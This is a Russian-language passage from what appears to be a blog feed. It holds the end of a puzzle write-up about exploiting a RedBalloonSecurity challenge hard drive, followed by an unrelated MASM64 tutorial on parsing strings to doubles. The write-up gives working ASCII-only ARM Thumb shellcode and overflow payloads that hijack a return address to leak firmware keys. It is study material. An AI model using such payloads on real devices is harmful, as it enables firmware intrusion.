304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}
user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Грузим второй ключ по правилам из level_3.html в R1

  4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

  5. Сохраняем его в память, куда указывает R7

  6. Подгружаем его в R0

  7. Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"
F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Congrats.pdf

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Подробнее..

Преобразование строки символов в число двойной точности (double)

27.03.2021 14:09:57 | Автор: admin
Преобразование строки символов в число двойной точности на MASM64 без FPU на SSE4.1 форматированное по правилам ML64.EXE то есть длиной до 32 символов.

1. Настройки компиляции, адресации и соглашения о вызовах.
1.1. Передача параметров в процедуру и обратно.
В соответствии с x64 software conventions будем считать что указатель на начало Числовой строки подлежащие конвертированию расположено в RCX.

1.2. Адресация и размерность кода.
Будем использовать x64 битный код при x32 битной адресации. Такой способ адресации позволяет использовать преимущества обоих диалектов. Для установки указанного режима необходимо указать директиву /LARGEADDRESSAWARE:NO в линковщику.


2. Текстовые константы и псевдонимы.
2.1. Текстовые константы
Для удобства работы со стеком создаем текстовую константу которая по сути выполняет роль имени (идентификатора) локальной переменной не определенного типа и произвольного размера:
; псевдонимы операндов #region
BUFF_STR equ esp - xmmword * 4
; #endregion


2.2. Псевдонимы переменны и регистров.
Для удобства работы с регистрами создаем блок текстовых констант которые по сути будут представлять собой имена переменных неопределенного типа и размером в двойное слово DWORD или INT для тех кому более привычен синтаксис СРР которые не имеют своего собственного отображения в памяти, а все время своего существования размещаются в регистре с которым они ассоциированы, при этом некоторые переменны являются по сути объединениями и размещаются в одних и тех же регистрах присутствуя в них на разных этапах исполнения программы:
; псевдонимы регистров #region
CUR_CHAR equ ecx ; абсолютная позиция текущего символа
DOT_CHAR equ edx ; относительная позиция символа точки
HASH_STR equ r8d ; хеш символов Числовой строки
END_CHAR equ HASH_STR ; относительная позиция последнего символа
N_Z_CHAR equ r9d ; относительная позиция символ не нулевого числа
OFF_CHAR equ N_Z_CHAR ; смешение дробной части относительно начала Числовой строки
END_FRAC equ r10d ; относительное положение последнего символа Числовой строки
EXP_CHAR equ END_FRAC ; текущий относительный символ строки Экспоненты
LEN_NUMB equ r11d ; длина значимой части Числа
LEN_CELL equ LEN_NUMB ; длина целой части Числа

HASH_MUL equ ebx ; значение экспоненты в десятичной системе
MANT_ARG equ r8 ; мантисса аргумент множителя
LOGB_ARG equ r9d ; порядок аргумента множителя
MANT_MUL equ r10 ; мантисса множителя
LOGB_MUL equ r11d ; порядок множителя
; #endregion



3. Секция данных
Создаем секцию данных. Стоит отметить что самая лучшая секция данных это такая секция которая размещена а секции кода, то есть при любой возможности необходимо избегать создания секции данных и размещать их непосредственно в секции кода в аргументах содержащихся непосредственно в инструкциях, к сожалению SIMD команды не допускают непосредственной размещения данных в инструкциях секции кода, что вынуждает создавать секцию данных:
.data ; #region
Xmm_HT byte 10h dup (09h)
Xmm_CR byte 10h dup (0Dh)
Xmm_SP byte 10h dup (20h)
Xmm_SL byte 10h dup ('/')
Xmm_30 byte 10h dup ('0')
Xmm_39 byte 10h dup ('9')

Xmm_0001 word 8 dup (010Ah)
Xmm_0010 dword 4 dup (10064h)
Xmm_0100 qword 2 dup (100002710h)

Mask_001 word 0044h, 0944h, 0D44h, 2044h, 0046h, 0946h, 0D46h, 2046h
Mask_010 word 0064h, 0964h, 0D64h, 2064h, 0066h, 0966h, 0D66h, 2066h

Mul_0001 qword 0E8D4A51000h

Plus word 2B00h

; тестовая строка
string byte ' ', 0Dh, 0Ah, '+-0098765432109876540.09876e-0248 '
; #endregion

Назначение определенных констант будет пояснено ниже в ходе выполнения процедуры.

4. Секция кода.
4.1. Поиск начала Числовой подстроки.
4.1.1. Пропуск обобщенных пробелов
4.1.1.1. Вход в цикл пропуска обобщенного пробела.
сравниваем байты регистра ХММ3 самими собой в результате чего все байт ХММ3 принимают значение -1.
уменьшаем указатель адреса первого символа в CUR_CHAR на длину ХММ регистра.
увеличиваем указатель адреса первого символа в CUR_CHAR на длину ХММ регистра.
pcmpeqb xmm3, xmm3
sub CUR_CHAR, xmmword
@@: add CUR_CHAR, xmmword

Таким образом при начальном входе в цикл обработки указатель текущего символа будет установлен на начало строки, при последующих входах в цикл он будет смещаться на длину ХММ-регистра, то есть на 15 байт. Такой способ организации начала цикла, при котором инкремент расположен в начале цикла, позволяет значительно упростить выход из цикла сведя его к команде проверки условия и условному переходу. В противном случае при размещении команда инкремента и проверки условий в конце цикла эти инструкции конфликтовали бы в части изменения флагов процессора что избыточно усложнило бы выход из цикла.

4.1.1.2. Проверка строки символов.
загружаем строку символов в ХММ0 и копируем ее в ХММ1/ХММ2 получая три копии строки.
сравниваем три копии строки содержащиеся в регистрах с тремя строками размещенными в памяти, равномерно заполненными символами пробел/табуляция/возврат каретки
складываем полученные результаты в регистр ХММ0.
movdqu xmm0,[CUR_CHAR]
movdqa xmm1, xmm0
movdqa xmm2, xmm0
pcmpeqb xmm0, xmmword ptr Xmm_SP
pcmpeqb xmm1, xmmword ptr Xmm_HT
pcmpeqb xmm2, xmmword ptr Xmm_CR
paddb xmm0, xmm1
paddb xmm0, xmm2

В результате байты регистра ХММ0 равные любому из трех символов обобщенного пробела принимают значение -1 а не равные 0. Векторное сравнение позволяет многократно повысить скорость сканирования строки не только за счет параллельного сравнения но и за счет исключения множества условных переходов характерных для классических способов.

4.1.1.3. Проверка результата и выход из цикла.
командой PTEST выполняет операцию AND над байтами ХММ0 и ХММ3 и в случае если все байты результата установлены в -1 устанавливаем флаг переноса CF=1.
если флаг переноса CF=1 то следовательно в сканируемой строке отсутствуют символы отличные от обобщенного пробела и необходимо вернуться в начало цикла.
ptest xmm0, xmm3
jc @b ; повторный пропуск обобщенного пробела
; #endregion

В результате сканирование строки продолжается до тех пор пока не будет найден символ отличный от обобщенного пробела. Скорость сканирования можно дополнительно увеличить если разместить строки равномерно заполненные символами пробел/табуляция/возврат каретки в старших регистрах SIMD, но в соответствии с соглашением вызова х64 это потребует предварительно сохранить их значение в память, а при выходе из функции восстановить, что учитывая ожидаемое время сканирования в один проход будет не оправданно.


4.1.2. Позиция первого символа не равного обобщенному пробелу.
-копируем старшие биты всех байтов регистра ХММ0 в EAX, теперь все биты соответствующие символам обобщенного пробела установлены в значение 1.
инвертируем EAX, теперь биты соответствующие символам не равным обобщенному пробелу установлен в значение 1.
сканируем биты регистра EAX от младшего к старшему в поиске первого бита установлено в значение 1, и результат равный номеру бита, помещаем в этот же регистр.
добавляем значение EAX к CUR_CHAR и получаем указатель на первый символ отличный от обобщенного пробела.
; Позиция первого символа не равного обобщенному пробелу #region
pmovmskb eax, xmm0
not eax
bsf eax, eax
add CUR_CHAR, eax
; #endregion


4.1.3. Проверка на сочетание символов новой строки.
устанавливаем флаг нуля ZF=1 если сочетание двух первых символов следующих после символа обобщенного пробела равно сочетанию символов новая строка.
устанавливаем младший байт регистра EAX в значение 1 если флаг нуля ZF=1 и в значение 0 при всех остальных вариантах.
складываем значение EAX и CUR_CHAR и получаем указатель на первый символ отличный от обобщенного пробела с учетом сочетания символов новой строки.
; позиция первого символа не равного обобщенному пробелу #region
cmp word ptr[CUR_CHAR - byte], 0A0Dh
setz al
add CUR_CHAR, eax
; #endregion

Таким образом если сочетание двух первых символов следующих после символа обобщенного пробела равно сочетанию символов новая строка то второй символ после обобщённого пробела будет проигнорирован, в противном случае он будет подвергнут дальнейшему анализу.

4.1.4. Тест обрыва строки.
копируем первый символ отличный от обобщенного пробела в регистр EAX одновременно расширяя его до двойного слова.
устанавливаем флаг нуля ZF=1 если значение EAX равно 0.
если флаг нуля ZF=1 то следовательно имеет место обрыв строки и необходимо выйти из процедуры вернув код ошибки:
; тест обрыва строки #region
movzx eax, byte ptr[CUR_CHAR]
test al, al
jz ErrorExit ; обрыв строки
; #endregion



4.2. Проверка знака Числа.
4.2.1. Проверка символа Плюс.
сравниваем регистр AL с символом плюс.
устанавливаем AL в значение 1 если AL равен символу плюс и 0 при любом другом значении символа.
добавляем значение EAX к CUR_CHAR.
; Проверка символа минус/плюс #region
cmp al, '+'
setz al
add CUR_CHAR, eax

В результате если текущий символ равен символу плюс то позиция текущего символа будет смещена на следующий символ, во всех остальных случаях символ будет подвергнут повторному анализу.

4.2.2. Проверка символа минус.
сравниваем текущий символ с символом минус.
устанавливаем значение AL в 1 если текущий символ равен символу минус и 0 при любом другом значении.
добавляем значение EAX к CUR_CHAR.
добавляем значение EAX к регистру ESP.
cmp byte ptr[CUR_CHAR], '-'
setz al
add CUR_CHAR, eax
add esp, eax
; #endregion

В результате если текущий символ равен символу минус то позиция текущего символа будет смещена на следующий символ, а значение регистра стека ESP увеличено на 1, во всех остальных случаях символ будет подвергнут повторному анализу, а значение регистра стека останется без изменений. Прямое изменение значения регистра указателя стека ESP считается крайне опасным действием чреватым непредсказуемыми ошибками, но я практикую агрессивный подход и считаю что не бывает плохого или хорошего кода, бывают хорошие и плохи программисты, хорошие пишут так как будто никаких правил нет вообще но результат при этом такой как будто они соблюдают их все, а плохие они просто плохие.


4.3. Сканирование символов Числовой строки.
4.3.1. Сканирование старшей части Числовой строки.
4.3.1.1. Проверка первого условия.
загружаем старшую часть Числовой строки, со смешением на 16 символов от начала Числовой строки, в ХММ0.
копируем старшую часть Числовой строки в ХММ1 и ХММ2.
сравниваем регистр ХММ0 со строкой в памяти равномерно заполненной символами 9.
копируем регистр ХММ0 в регистр ХММ1.
; сканирование символов Числовой строки #region
movdqu xmm0,[CUR_CHAR + xmmword]
movdqa xmm2, xmm0
movdqa xmm3, xmm0
pcmpgtb xmm0, xmmword ptr Xmm_39
movdqa xmm1, xmm0

В результат получаем две копии строки в регистрах ХММ0 и ХММ1 в которых все байты символов которые были больше символа 9 установлены в значение -1, а все остальные в значение 0.

4.3.1.2. Проверка второго условия.
сравниваем регистр ХММ2 со строкой в памяти равномерно заполненной символами косая черта, в результате чего все байты регистра ХММ2 содержавшие символы больше и равно символу 0 установлены в значение -1, а меньше в значение 0.
командой PANDN инвертируем баты регистра ХММ0 и выполняем логическую операцию AND над байтами ХММ0 и ХММ2 помещая результат в регистр ХММ0.
pcmpgtb xmm2, xmmword ptr Xmm_SL
pandn xmm0, xmm2

В результате все байты регистра ХММ0 содержащие символы в диапазоне от 0 включительно до 9 включительно, то есть цифры, принимают значения -1 а все остальные 0.

4.3.1.3. Проверка третьего условия.
сравниваем регистр ХММ3 со строкой в памяти равномерно заполненной символами 0, в результате чего все байты регистра ХММ3 содержавшие символы больше и равно символу 1 установлены в значение -1, а меньше в значение 0.
командой PANDN инвертируем баты регистра ХММ1 и выполняем логическую операцию AND над байтами ХММ1 и ХММ3 помещая результат в регистр ХММ1.
pcmpgtb xmm3, xmmword ptr Xmm_30
pandn xmm1, xmm3

В результате все байты регистра ХММ1 содержащие символы в диапазоне от 1 включительно до 9 включительно, то есть значащие цифры, принимают значения -1 а все остальные 0.

4.3.1.4. Сохранение старших частей хеша строки.
копируем старшие биты байтов регистра ХММ0 в регистр HASH_STR.
копируем старшие биты байтов регистра ХММ1 в регистр N_Z_CHAR
pmovmskb HASH_STR, xmm0
pmovmskb N_Z_CHAR, xmm1

В результате младшие 16 бит регистра HASH_STR соответствуют 16 старшим байтам Числовой строки, при этом биты соответствующие символам содержащим цифры принимают значения 1 а все остальные 0, а младшие 16 бит регистра N_Z_CHAR соответствуют 16 старшим байтам Числовой строки, при этом биты соответствующие символам содержащим значащие числа, принимают значения 1 а все остальные 0.


4.3.2. Сканирование младшей части Числовой строки.
movdqu xmm0,[CUR_CHAR]
movdqa xmm2, xmm0
movdqa xmm3, xmm0
pcmpgtb xmm0, xmmword ptr Xmm_39
movdqa xmm1, xmm0
pcmpgtb xmm2, xmmword ptr Xmm_SL
pcmpgtb xmm3, xmmword ptr Xmm_30
pandn xmm0, xmm2
pandn xmm1, xmm3


4.3.3. Объединение старших и младших Хешей строки.
копируем старшие биты байтов регистра ХММ0 в EAX.
сдвигаем младшие 16 бит HASH_STR в старшую часть HASH_STR.
складываем значение HASH_STR и EAX.
копируем старшие биты байтов регистра ХММ1 в EAX.
сдвигаем младшие 16 бит N_Z_CHAR в старшую часть N_Z_CHAR.
складываем значение N_Z_CHAR и EAX.
pmovmskb eax, xmm0
shl HASH_STR, xmmword
add HASH_STR, eax
pmovmskb eax, xmm1
shl N_Z_CHAR, xmmword
add N_Z_CHAR, eax

В результате HASH_STR содержит хеш Числовой строки в котором биты соответствующие символам цифр установлены в значение 1 а в се остальные в 0, при этом номера битов соответствуют номерам символов от начала строки начиная с нуля, а N_Z_CHAR содержит хеш Числовой строки в котором биты символов соответствующие значащих цифр установлены в значение 1, а все остальные в 0, при этом номер бита соответствуют номерам символов от начала строки начиная с нуля.


4.4. Обработка целой части Числа.
4.4.1. Проверка первого символа.
сканируем HASH_STR от младшего бита к старшему в поисках первого бита равного 1, результат помещаем в EAX и устанавливаем флаг нуля ZF=1 если все биты равны нулю.
если флаг нуля ZF=1 то значит строка не содержит ни одного символа цифры и необходимо выйти из процедуры вернув код ошибки.
устанавливаем флаг нуля ZF=0 если полученный результат отличен от нуля.
если флаг нуля ZF=0 то значит первый символ строки не является цифрой и необходимо выйти из процедуры вернув код ошибки.
; проверка первого символа #region
bsf eax, HASH_STR
jz ErrorExit
test eax, eax
jnz ErrorExit ; первый символ не цифра
; #endregion

